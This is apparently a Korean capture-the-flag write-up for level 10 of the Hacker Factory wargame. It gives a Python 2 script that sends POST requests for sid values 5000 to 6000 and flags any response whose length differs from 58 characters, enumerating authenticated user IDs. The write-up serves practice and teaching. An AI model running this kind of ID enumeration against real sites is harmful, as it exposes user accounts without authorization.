해커팩토리 초급 10번

서론

---

NULL

진행과정

---

MyPage 페이지의 소스를 보면 5000~6000범위가 인증된 사용자라고 한다.

1. sid인자를 POST방식으로 주면서 테스트해보면 되는데 계정이 없는 경우 글자수가 58글자임을 확인.

2. 글자수가 58글자가 아닌 sid값들을 모조리 검증해보면 답을 얻을 수 있다.

#coding:utf-8
import httplib
 
conn = httplib.HTTPConnection("www.hackerfactory.co.kr")
url = "/wargame/war10/MyPage.php"
answer_list = list()
 
for i in range(5000, 6001) :
    conn.request("POST", url, "sid="+str(i), {"Cookie":"", "Content-Type":"application/x-www-form-urlencoded"})
    k = conn.getresponse().read().decode('utf-8')
    if len(k) != 58 :
        answer_list.append(i)
 
print answer_list

# REF

---

NULL